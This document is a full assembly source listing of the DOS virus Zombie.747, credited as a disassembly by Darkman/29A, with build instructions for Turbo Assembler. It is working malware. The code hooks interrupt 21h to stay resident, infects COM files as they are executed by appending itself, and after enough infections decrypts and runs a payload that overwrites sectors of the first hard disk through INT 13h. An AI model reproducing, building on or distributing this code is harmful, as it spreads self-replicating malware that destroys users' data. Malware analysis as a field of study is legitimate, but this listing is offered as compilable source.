comment *
                   Zombie.747
                 Disassembly by
                  Darkman/29A

  Zombie.747 is a 747 bytes parasitic resident COM virus. Infects files at
  load and execute program, except COMMAND.COM, by appending the virus to the
  infected COM file.

  To compile Zombie.747 with Turbo Assembler v 4.0 type:
    TASM /M ZOMBI747.ASM
    TLINK /t /x ZOMBI747.OBJ
*

.model tiny
.code
 org   100h                 ; Origin of Zombie.747

code_begin:
         call    crypt_virus

         nop
         nop
         nop
         nop
         nop
virus_begin:
         call    delta_offset
delta_offset:
         pop     bp          ; Load BP from stack
         sub     bp,03h         ; BP = delta offset

         jmp     virus_begin_
stack_end:
stack_         db      7ah dup(?)      ; Stack
stack_begin:
int21_addr   dd      ?             ; Address of interrupt 21h
virus_seg    dw      ?             ; Segment of virus
stack_seg    dw      ?             ; Stack segment
stack_ptr    dw      ?             ; Stack pointer
infect_off   dw      offset infect_file-offset virus_begin
infect_mark  db      04h dup(?)      ; infection mark
infect_count dw      ?             ; Infection counter
virus_offset equ     word ptr $+01h     ; Offset of virus
infect_code  db      0e9h,?,?         ; JMP imm16 (opcode 0e9h)
origin_code  db      0cdh,20h,?      ; Original code of infected file
code_begin_  dw      100h         ; Offset of beginning of code

int21_virus  proc    near         ; Interrupt 21h of Zombie.747
         pushf             ; Save flags at stack
         cmp     ax,4b00h         ; Load and execute program?
         je      load_and_exe     ; Equal? Jump to load_and_exe

         cmp     ax,4b69h         ; Zombie.747 function?
         je      virus_functi     ; Equal? Jump to virus_functi
         popf             ; Load flags from stack

         jmp     dword ptr cs:[offset int21_addr-offset virus_begin]
         endp
virus_functi:
         mov     bx,ax         ; Already resident

         popf             ; Load flags from stack

         iret             ; Interrupt return!
load_and_exe:
         mov     cs:[offset infect_off-offset virus_begin],offset infect_file-offset virus_begin

         call    setup_stack

         popf             ; Load flags from stack

         jmp     dword ptr cs:[offset int21_addr-offset virus_begin]

setup_stack  proc    near         ; Setup stack of the virus
         mov     cs:[offset stack_seg-offset virus_begin],ss
         mov     cs:[offset stack_ptr-offset virus_begin],sp

         mov     ss,cs:[offset virus_seg-offset virus_begin]
         mov     sp,offset stack_begin-offset virus_begin

         push    ax bx cx dx es ds si di bp

         call    cs:[offset infect_off-offset virus_begin]

         cmp     word ptr cs:[offset infect_count-offset virus_begin],10h
         jbe     load_stack      ; Below or equal? Jump to load_stack

         call    payload
load_stack:
         pop     bp di si ds es dx cx bx ax

         mov     ss,cs:[offset stack_seg-offset virus_begin]
         mov     sp,cs:[offset stack_ptr-offset virus_begin]

         ret             ; Return!
         endp

payload      proc    near         ; Payload of the virus
         mov     si,offset crypt_begin-offset virus_begin
         mov     cx,(crypt_end-crypt_begin)
decrypt_loop:
         not     byte ptr [si]     ; Decrypt a byte

         inc     si          ; Increase index register

         loop    decrypt_loop
crypt_begin:
         mov     ax,303h         ; Write disk sector(s)
         db      31h,0dbh         ; XOR BX,BX
         mov     es,bx         ; ES:BX = pointer to data buffer
         mov     cx,02h         ; CX = sector- and cylinder number
         mov     dx,80h         ; DX = drive- and head number
         int     13h
crypt_end:
         mov     si,offset crypt_begin-offset virus_begin
         mov     cx,(crypt_end-crypt_begin)
encrypt_loop:
         not     byte ptr [si]     ; Encrypt a byte

         inc     si          ; Increase index register

         loop    encrypt_loop

         ret             ; Return!
         endp

examine_file proc    near         ; Examine file
         cld             ; Clear direction flag
find_dot:
         lodsb             ; AL = byte of filename
         cmp     al,'.'              ; Found the dot in the filename
         je      examine_fil_     ; Equal? Jump to examine_fil_

         or      al,al         ; End of filename?
         loopnz  find_dot         ; Not zero? Jump to find_dot
         jz      examine_exit     ; Zero? Jump to examine_exit
examine_fil_:
         mov     ax,[si-06h]     ; AX = word of filename
         or      ax,2020h         ; Lowcase word of filename
         cmp     ax,'mm'             ; COMMAND.COM?
         je      examine_exit     ; Equal? Jump to examine_exit

         lodsw             ; AX = word of extension
         or      ax,2020h         ; Lowcase word of extension
         cmp     ax,'oc'             ; Correct extension?
         jne     examine_exit     ; Not equal? Jump to examine_exit

         lodsb             ; AL = byte of extension
         or      al,20h         ; Lowcase byte of extension
         cmp     al,'m'              ; Correct extension?
         jne     examine_exit     ; Not equal? Jump to examine_exit

         clc             ; Clear carry flag

         ret             ; Return!
examine_exit:
         stc             ; Set carry flag

         ret             ; Return!
         endp

set_file_pos proc    near         ; Set current file position
         xor     cx,cx         ; Zero CX
         or      dx,dx         ; Zero DX?
         jns     set_file_po_     ; Positive? Jump to set_file_po_

         not     cx          ; Invert each bit of low-order wor...
set_file_po_:
         mov     ah,42h         ; Set current file position
         int     21h

         ret             ; Return!
         endp

infect_file  proc    near         ; Infect COM file
         mov     si,dx         ; SI = offset of filename
         call    examine_file
         jnc     open_file         ; No error? Jump to open_file

         jmp     infect_exit_
open_file:
         mov     ax,3d02h         ; Open file (read/write)
         int     21h
         jnc     read_file         ; No error? Jump to read_file

         jmp     infect_exit_
read_file:
         mov     bx,ax         ; BX = file handle

         mov     dx,cs         ; DX = code segment
         mov     ds,dx         ; DS "  "      "

         mov     ah,3fh         ; Read from file
         mov     cx,03h         ; Read three bytes
         mov     dx,offset origin_code-offset virus_begin
         int     21h
         jnc     examine_mark     ; No error? Jump to examine_mark

         jmp     close_file
examine_mark:
         mov     dx,-28h         ; DX = low-order word of offset fr...
         mov     al,02h         ; Set current file position (EOF)
         call    set_file_pos
         jc      close_file      ; Error? Jump to close_file

         nop
         nop
         nop

         mov     ah,3fh         ; Read from file
         mov     cx,04h         ; Read four bytes
         mov     dx,offset infect_mark-offset virus_begin
         int     21h
         jc      close_file      ; Error? Jump to close_file

         nop
         nop
         nop

         cmp     word ptr ds:[offset infect_mark-offset virus_begin],'oZ'
         jne     calc_offset     ; Not equal? Jump to calc_offset

         nop
         nop
         nop

         cmp     word ptr ds:[offset infect_mark+02h-offset virus_begin],'bm'
         je      close_file      ; Previosly infected? Jump to clos...

         nop
         nop
         nop
calc_offset:
         xor     dx,dx         ; Zero DX
         mov     al,02h         ; Set current file position (EOF)
         call    set_file_pos
         jc      close_file      ; Error? Jump to close_file

         nop
         nop
         nop

         sub     ax,03h         ; AX = offset of virus
         mov     ds:[offset virus_offset-offset virus_begin],ax

         mov     ax,5700h         ; Get file's date and time
         int     21h
         push    cx dx         ; Save registers at stack

         mov     ah,40h         ; Write to file
         mov     cx,(code_end-virus_begin)
         xor     dx,dx         ; Zero DX
         int     21h
         jc      infect_exit     ; Error? Jump to infect_exit

         nop
         nop
         nop

         cmp     cx,ax         ; Written all of the virus?
         jne     infect_exit     ; Not equal? Jump to infect_exit

         nop
         nop
         nop

         mov     al,00h         ; Set current file position (SOF)
         xor     dx,dx         ; Zero DX
         call    set_file_pos
         jc      infect_exit     ; Error? Jump to infect_exit

         nop
         nop
         nop

         mov     ah,40h         ; Write to file
         mov     cx,03h         ; Write three bytes
         mov     dx,offset infect_code-offset virus_begin
         int     21h
         jc      infect_exit     ; Error? Jump to infect_exit

         nop
         nop
         nop
infect_exit:
         inc     word ptr cs:[offset infect_count-offset virus_begin]

         mov     ax,5701h         ; Set file's date and time
         pop     dx cx         ; Load registers from stack
         int     21h
close_file:
         mov     ah,3eh         ; Close file
         int     21h
infect_exit_:
         ret             ; Return!
         endp

get_psp_own  proc    near         ; Get PSP segment of owner or spec...
         mov     ah,52h         ; Get list of lists
         int     21h
         mov     bx,es:[bx-02h]     ; BX = segment of first memory con...

         mov     es,bx         ; ES =    "    "    "     "      "
         mov     bx,es:[01h]     ; BX = PSP segment of owner or spe...

         ret             ; Return!
         endp

allocate_mem proc    near         ; Allocate memory
         push    es          ; Save ES at stack

         mov     ax,cs         ; AX = segment of PSP for current ...
         dec     ax          ; AX = segment of Memory Control B...
         mov     es, ax         ; ES =    "    "    "       "     "

         mov     bx,es:[03h]     ; BX = size of memory block in par...
         pop     es          ; Load ES from stack

         sub     bx,cx         ; Subtract number of paragraphs to...
         dec     bx          ; BX = new size in paragraphs
         mov     ah,4ah         ; Resize memory block
         int     21h
         jc      allocat_exit     ; Error? Jump to allocat_exit

         nop
         nop
         nop

         mov     ah,48h         ; Allocate memory
         mov     bx,cx         ; BX = number of paragraphs to all...
         int     21h
         jc      allocat_exit     ; Error? Jump to allocat_exit

         nop
         nop
         nop

         push    ax          ; Save AX at stack
         dec     ax          ; AX = segment of Memory Control B...
         mov     es,ax         ; ES =    "    "    "       "     "

         push    es          ; Save ES at stack
         call    get_psp_own
         pop     es          ; Load ES from stack

         mov     es:[01h],bx     ; Store PSP segment of owner or sp...
         pop     es          ; Load ES from stack

         clc             ; Clear carry flag
allocat_exit:
         ret             ; Return!
         endp
virus_begin_:
         mov     ax,4b69h         ; Zombie.747 function
         xor     bx,bx         ; Zero BX
         int     21h
         cmp     bx,4b69h         ; Already resident?
         je      virus_exit      ; Equal? Jump to virus_exit

         nop
         nop
         nop

         mov     cx,(data_end-virus_begin+0fh)/10h
         call    allocate_mem
         jc      virus_exit      ; Error? Jump to virus_exit

         nop
         nop
         nop

         mov     si,bp         ; SI = delta offset
         xor     di,di         ; Zero DI
         mov     cx,(code_end-virus_begin)
         cld             ; Clear direction flag
         rep     movsb         ; Move virus to top of memory

         mov     es:[offset virus_seg-offset virus_begin],es

         push    es          ; Save ES at stack
         mov     ax,3521h         ; Get interrupt vector 21h
         int     21h
         mov     dx,es         ; DX = segment of interrupt 21h
         pop     es          ; Load ES from stack

         mov     word ptr es:[offset int21_addr-offset virus_begin],bx
         mov     word ptr es:[offset int21_addr+02h-offset virus_begin],dx

         mov     ax,2521h         ; Set interrupt vector 21h

         push    es          ; Save ES at stack
         pop     ds          ; Load DS from stack (ES)

         mov     dx,offset int21_virus-offset virus_begin
         int     21h
virus_exit:
         mov     ax,cs         ; AX = segment of PSP for current ...
         mov     ds,ax         ; DS =    "    "   "   "     "     "
         mov     es,ax         ; ES =    "    "   "   "     "     "

         lea     si,origin_code     ; SI = offset of origin_code
         sub     si,offset virus_begin
         add     si,bp         ; Add delta offset to offset of co...

         mov     di,100h         ; DI = offset of beginning of code
         mov     cx,03h         ; Move three bytes
         cld             ; Clear direction flag
         rep     movsb         ; Move the original code to beginning

         lea     bx,code_begin_     ; BX = offset of code_begin_
         sub     bx,offset virus_begin
         add     bx,bp         ; Add delta offset to offset of co...

         jmp     [bx]

         db      'Zombie - Danish woodoo hackers (14AUG91)'
code_end:
data_end:
crypt_virus  proc             ; Encrypt payload of the virus
         lea     si,crypt_begin     ; SI = offset of crypt_begin
         mov     cx,(crypt_end-crypt_begin)
crypt_loop:
         not     byte ptr [si]     ; Encrypt a byte

         inc     si          ; Increase index register

         loop    crypt_loop

         ret             ; Return!
         endp

end         code_begin
